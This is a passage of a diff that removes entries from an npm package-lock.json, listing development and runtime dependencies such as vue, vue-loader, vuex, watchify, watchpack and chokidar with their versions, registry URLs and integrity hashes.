"sha1-evsa/lCAUkZInj23/g7TeTNqwPk=", - "dev": true, - "requires": { - "inherits": "2.0.1" - }, - "dependencies": { - "inherits": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz", - "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=", - "dev": true - } - } - }, - "util-deprecate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", - "dev": true - }, - "util.promisify": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.0.tgz", - "integrity": "sha512-i+6qA2MPhvoKLuxnJNpXAGhg7HphQOSUq2LKMZD0m15EiskXUkMvKdF4Uui0WYeCUGea+o2cw/ZuwehtfsrNkA==", - "dev": true, - "requires": { - "define-properties": "^1.1.2", - "object.getownpropertydescriptors": "^2.0.3" - } - }, - "uuid": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz", - "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA==", - "dev": true - }, - "v-autocomplete": { - "version": "1.8.2", - "resolved": "https://registry.npmjs.org/v-autocomplete/-/v-autocomplete-1.8.2.tgz", - "integrity": "sha1-lmx7PtosdN1oORERSiAoTNCWlh8=" - }, - "v8flags": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/v8flags/-/v8flags-2.1.1.tgz", - "integrity": "sha1-qrGh+jDUX4jdMhFIh1rALAtV5bQ=", - "dev": true, - "requires": { - "user-home": "^1.1.1" - } - }, - "validate-npm-package-license": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.3.tgz", - "integrity": "sha512-63ZOUnL4SIXj4L0NixR3L1lcjO38crAbgrTpl28t8jjrfuiOBL5Iygm+60qPs/KsZGzPNg6Smnc/oY16QTjF0g==", - "dev": true, - "requires": { - "spdx-correct": "^3.0.0", - "spdx-expression-parse": "^3.0.0" - } - }, - "vendors": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/vendors/-/vendors-1.0.2.tgz", - "integrity": "sha512-w/hry/368nO21AN9QljsaIhb9ZiZtZARoVH5f3CsFbawdLdayCgKRPup7CggujvySMxx0I91NOyxdVENohprLQ==", - "dev": true - }, - "verror": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", - "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", - "dev": true, - "requires": { - "assert-plus": "^1.0.0", - "core-util-is": "1.0.2", - "extsprintf": "^1.2.0" - } - }, - "vm-browserify": { - "version": "0.0.4", - "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-0.0.4.tgz", - "integrity": "sha1-XX6kW7755Kb/ZflUOOCofDV9WnM=", - "dev": true, - "requires": { - "indexof": "0.0.1" - } - }, - "void-elements": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/void-elements/-/void-elements-3.1.0.tgz", - "integrity": "sha1-YU9/v42AHwu18GYfWy9XhXUOTwk=", - "dev": true - }, - "vue": { - "version": "2.5.16", - "resolved": "https://registry.npmjs.org/vue/-/vue-2.5.16.tgz", - "integrity": "sha512-/ffmsiVuPC8PsWcFkZngdpas19ABm5mh2wA7iDqcltyCTwlgZjHGeJYOXkBMo422iPwIcviOtrTCUpSfXmToLQ==" - }, - "vue-color": { - "version": "2.4.6", - "resolved": "https://registry.npmjs.org/vue-color/-/vue-color-2.4.6.tgz", - "integrity": "sha512-kGz1LNu1DKIcT8jQmUeSjQNqh9NGYBCvMFXU43MRF4kg7A33Z4tZMQFLrPrX7d8r3ptbmLq+MaclJiVQFMCMqg==", - "requires": { - "lodash.throttle": "^4.0.0", - "material-colors": "^1.0.0", - "tinycolor2": "^1.1.2" - } - }, - "vue-fragment": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/vue-fragment/-/vue-fragment-1.5.1.tgz", - "integrity": "sha512-ig6eES6TcMBbANW71ylB+AJgRN+Zksb3f50AxjGpAk6hMzqmeuD80qeh4LJP0jVw2dMBMjgRUfIkrvxygoRgtQ==", - "requires": {} - }, - "vue-fullscreen": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/vue-fullscreen/-/vue-fullscreen-2.1.5.tgz", - "integrity": "sha512-M8wx+OV7uCGOQ/iLi5d2WHbWW9ad9uBPsW50iezV7LDrZ6iuXkDJSCmTaQgnRKJWOOfPsQrgNFME1LKMRrFmgg==" - }, - "vue-hot-reload-api": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/vue-hot-reload-api/-/vue-hot-reload-api-2.3.0.tgz", - "integrity": "sha512-2j/t+wIbyVMP5NvctQoSUvLkYKoWAAk2QlQiilrM2a6/ulzFgdcLUJfTvs4XQ/3eZhHiBmmEojbjmM4AzZj8JA==", - "dev": true - }, - "vue-loader": { - "version": "13.7.2", - "resolved": "https://registry.npmjs.org/vue-loader/-/vue-loader-13.7.2.tgz", - "integrity": "sha512-pgFWFsUjYO1v+J+3r7K0Q4lCp0eOyI24/q9j+cCudWyCTjgpjpcAa1MdwjlDUUettt9xkkUBbQ9fkAN1NC8t9w==", - "dev": true, - "requires": { - "consolidate": "^0.14.0", - "hash-sum": "^1.0.2", - "loader-utils": "^1.1.0", - "lru-cache": "^4.1.1", - "postcss": "^6.0.8", - "postcss-load-config": "^1.1.0", - "postcss-selector-parser": "^2.0.0", - "prettier": "^1.7.0", - "resolve": "^1.4.0", - "source-map": "^0.6.1", - "vue-hot-reload-api": "^2.2.0", - "vue-style-loader": "^3.0.0", - "vue-template-es2015-compiler": "^1.6.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "vue-multiselect": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/vue-multiselect/-/vue-multiselect-2.1.0.tgz", - "integrity": "sha512-mEhApxZ6MUISGLuGDy0RF5UlAKUgG/Qq0DWYE/C+CA1h6ZszM3cHfpNFfFm2AMWLclY2SAWpY1HlQLjsw8WnvQ==" - }, - "vue-popperjs": { - "version": "1.6.3", - "resolved": "https://registry.npmjs.org/vue-popperjs/-/vue-popperjs-1.6.3.tgz", - "integrity": "sha512-D0k/PxsDoCQxYykTh26t//6Uw5hk5Yl3BDlZj2nHqB2AyD0NjKCceLbuBRlPh+O59CXYJLSW2p5QveepLwkUvg==", - "requires": { - "popper.js": "^1.14.3" - } - }, - "vue-router": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/vue-router/-/vue-router-3.0.1.tgz", - "integrity": "sha512-vLLoY452L+JBpALMP5UHum9+7nzR9PeIBCghU9ZtJ1eWm6ieUI8Zb/DI3MYxH32bxkjzYV1LRjNv4qr8d+uX/w==" - }, - "vue-style-loader": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/vue-style-loader/-/vue-style-loader-3.1.2.tgz", - "integrity": "sha512-ICtVdK/p+qXWpdSs2alWtsXt9YnDoYjQe0w5616j9+/EhjoxZkbun34uWgsMFnC1MhrMMwaWiImz3K2jK1Yp2Q==", - "dev": true, - "requires": { - "hash-sum": "^1.0.2", - "loader-utils": "^1.0.2" - } - }, - "vue-template-compiler": { - "version": "2.5.16", - "resolved": "https://registry.npmjs.org/vue-template-compiler/-/vue-template-compiler-2.5.16.tgz", - "integrity": "sha512-ZbuhCcF/hTYmldoUOVcu2fcbeSAZnfzwDskGduOrnjBiIWHgELAd+R8nAtX80aZkceWDKGQ6N9/0/EUpt+l22A==", - "dev": true, - "requires": { - "de-indent": "^1.0.2", - "he": "^1.1.0" - } - }, - "vue-template-es2015-compiler": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/vue-template-es2015-compiler/-/vue-template-es2015-compiler-1.6.0.tgz", - "integrity": "sha512-x3LV3wdmmERhVCYy3quqA57NJW7F3i6faas++pJQWtknWT+n7k30F4TVdHvCLn48peTJFRvCpxs3UuFPqgeELg==", - "dev": true - }, - "vue2-daterange-picker": { - "version": "0.5.1", - "resolved": "https://registry.npmjs.org/vue2-daterange-picker/-/vue2-daterange-picker-0.5.1.tgz", - "integrity": "sha512-p0y9RyI6wqqwffKM5EYgxvNM51un/fBu9hLZ/GxXVOBqTMxjDuV8mz9iUTj4p5R80lWSBwIY7GshW5RYgS8+rw==", - "requires": { - "vue": "^2.6.10" - }, - "dependencies": { - "vue": { - "version": "2.6.11", - "resolved": "https://registry.npmjs.org/vue/-/vue-2.6.11.tgz", - "integrity": "sha512-VfPwgcGABbGAue9+sfrD4PuwFar7gPb1yl1UK1MwXoQPAw0BKSqWfoYCT/ThFrdEVWoI51dBuyCoiNU9bZDZxQ==" - } - } - }, - "vuex": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/vuex/-/vuex-3.0.1.tgz", - "integrity": "sha512-wLoqz0B7DSZtgbWL1ShIBBCjv22GV5U+vcBFox658g6V0s4wZV9P4YjCNyoHSyIBpj1f29JBoNQIqD82cR4O3w==" - }, - "walkdir": { - "version": "0.0.11", - "resolved": "https://registry.npmjs.org/walkdir/-/walkdir-0.0.11.tgz", - "integrity": "sha1-oW0CXrkxvQO1LzCMrtD0D86+lTI=", - "dev": true - }, - "watch": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/watch/-/watch-1.0.2.tgz", - "integrity": "sha1-NApxe952Vyb6CqB9ch4BR6VR3ww=", - "dev": true, - "requires": { - "exec-sh": "^0.2.0", - "minimist": "^1.2.0" - } - }, - "watchify": { - "version": "3.11.0", - "resolved": "https://registry.npmjs.org/watchify/-/watchify-3.11.0.tgz", - "integrity": "sha512-7jWG0c3cKKm2hKScnSAMUEUjRJKXUShwMPk0ASVhICycQhwND3IMAdhJYmc1mxxKzBUJTSF5HZizfrKrS6BzkA==", - "dev": true, - "requires": { - "anymatch": "^1.3.0", - "browserify": "^16.1.0", - "chokidar": "^1.0.0", - "defined": "^1.0.0", - "outpipe": "^1.1.0", - "through2": "^2.0.0", - "xtend": "^4.0.0" - } - }, - "watchpack": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.6.0.tgz", - "integrity": "sha512-i6dHe3EyLjMmDlU1/bGQpEw25XSjkJULPuAVKCbNRefQVq48yXKUpwg538F7AZTf9kyr57zj++pQFltUa5H7yA==", - "dev": true, - "requires": { - "chokidar": "^2.0.2", - "graceful-fs": "^4.1.2", - "neo-async": "^2.5.0" - }, - "dependencies": { - "anymatch": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", - "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", - "dev": true, - "requires": { - "micromatch": "^3.1.4", - "normalize-path": "^2.1.1" - } - }, - "arr-diff": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", - "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", - "dev": true - }, - "arr-flatten": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", - "dev": true - }, - "array-unique": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", - "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", - "dev": true - }, - "braces": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", - "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", - "dev": true, - "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "chokidar": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.0.4.tgz", - "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", - "dev": true, - "requires": { - "anymatch": "^2.0.0", - "async-each": "^1.0.0", - "braces": "^2.3.0", - "fsevents": "^1.2.2", - "glob-parent": "^3.1.0", - "inherits": "^2.0.1", - "is-binary-path": "^1.0.0", - "is-glob": "^4.0.0", - "lodash.debounce": "^4.0.8", - "normalize-path": "^2.1.1", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.0.0", - "upath": "^1.0.5" - } - }, - "expand-brackets": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", - "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", - "dev": true, - "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "requires": { - "is-descriptor": "^0.1.0" - } - }, - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - }, - "is-accessor-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", - "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "is-data-descriptor": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", - "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "is-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", - "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", - "dev": true, - "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" - } - }, - "kind-of": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", - "dev": true - } - } - }, - "extglob": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", - "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", - "dev": true, - "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "dependencies": { - "define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "requires": { - "is-descriptor": "^1.0.0" - } - }, - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "fill-range": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", - "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", - "dev": true, - "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "glob-parent": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", - "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", - "dev": true, - "requires": { - "is-glob": "^3.1.0", - "path-dirname": "^1.0.0" - }, - "dependencies": { - "is-glob": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", - "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", - "dev": true, - "requires": { - "is-extglob": "^2.1.0" - } - } - } - }, - "is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - } - }, - "is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", - "dev": true - }, - "is-glob": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz", - "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", - "dev": true, - "requires": { - "is-extglob": "^2.1.1" - } - }, - "is-number": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", - "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - }, - "kind-of": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", - "dev": true - }, - "micromatch": { - "version": "3.1.10", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", - "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", - "dev": true, - "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" - } - } - } - }, - "watchpack-chokidar2": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/watchpack-chokidar2/-/watchpack-chokidar2-2.0.0.tgz", - "integrity": "sha512-9TyfOyN/zLUbA288wZ8IsMZ+6cbzvsNyEzSBp6e/zkifi6xxbl8SmQ/CxQq32k8NNqrdVEVUVSEf56L4rQ/ZxA==", - "dev": true, - "optional": true, - "requires": { - "chokidar": "^2.1.8" - }, - "dependencies": { - "anymatch": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", - "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", - "dev": true, - "optional": true, - "requires": { - "micromatch": "^3.1.4", - "normalize-path": "^2.1.1" - }, - "dependencies": { - "normalize-path": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", - "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", - "dev": true, - "optional": true, - "requires": { - "remove-trailing-separator": "^1.0.1" - } - } - } - }, - "arr-diff": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", - "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", - "dev": true, - "optional": true - }, - "arr-flatten": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", - "dev": true, - "optional": true - }, - "array-unique": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", - "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", - "dev": true, - "optional": true - }, - "braces": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", - "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", - "dev": true, - "optional": true, - "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "chokidar": { - "version": "2.1.8", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz", - "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==", - "dev": true, - "optional": true, - "requires": { - "anymatch": "^2.0.0", - "async-each": "^1.0.1", - "braces": "^2.3.2", - "fsevents": "^1.2.7", - "glob-parent": "^3.1.0", - "inherits": "^2.0.3", - "is-binary-path": "^1.0.0", - "is-glob": "^4.0.0", - "normalize-path": "^3.0.0", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.2.1", - "upath": "^1.1.1" - } - }, - "expand-brackets": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", - "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", - "dev": true, - "optional": true, - "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "optional": true, - "requires": { - "is-descriptor": "^0.1.0" - } - }, - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": 